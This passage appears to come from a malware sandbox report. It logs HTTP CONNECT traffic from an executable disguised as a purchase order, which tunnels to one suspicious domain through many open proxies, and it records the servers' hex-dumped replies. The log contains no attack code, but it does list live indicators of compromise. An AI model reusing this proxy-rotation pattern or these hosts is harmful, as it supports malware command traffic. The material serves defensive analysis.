Mar 11, 2024 16:39:44.358611107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.10	50047	222.255.238.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.207179070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.532970905 CET	506	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 15:39:44 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 314 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.10	50246	172.67.182.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.209670067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.363797903 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.10	50051	14.103.24.20	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.213150024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.10	50130	190.153.121.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.214334965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.10	50270	172.67.181.129	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.223105907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.377404928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.10	50200	154.205.152.96	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.228442907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.371999979 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.10	50194	172.93.111.235	44374	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.232481003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.754437923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.426333904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.786042929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.489259958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286247015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.10	50249	54.212.22.168	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.251683950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.444569111 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.10	50064	202.179.184.44	5430	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.251750946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.10	50188	194.4.50.62	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.251754045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.10	50282	104.17.166.210	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.254316092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.408642054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.10	50170	174.75.211.222	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.258383989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.10	50482	93.190.24.119	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.270651102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.10	50485	93.190.24.119	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.272288084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.10	50489	93.190.24.119	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.275892019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.10	50493	93.190.24.119	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.277622938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.10	50086	49.228.131.169	5000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.283374071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.647125006 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.10	50093	218.6.120.111	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.301243067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.906919956 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:39:45.650681019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.10	50204	13.208.168.179	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.301250935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.583753109 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.10	50071	93.171.220.229	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.302186966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.10	50303	104.18.161.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.304739952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.458955050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.10	50177	185.217.136.67	1337	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.308665037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:09.369764090 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:08 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3902 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.10	50193	46.35.9.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.315133095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.10	50203	161.97.74.176	30000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.331628084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.640177011 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 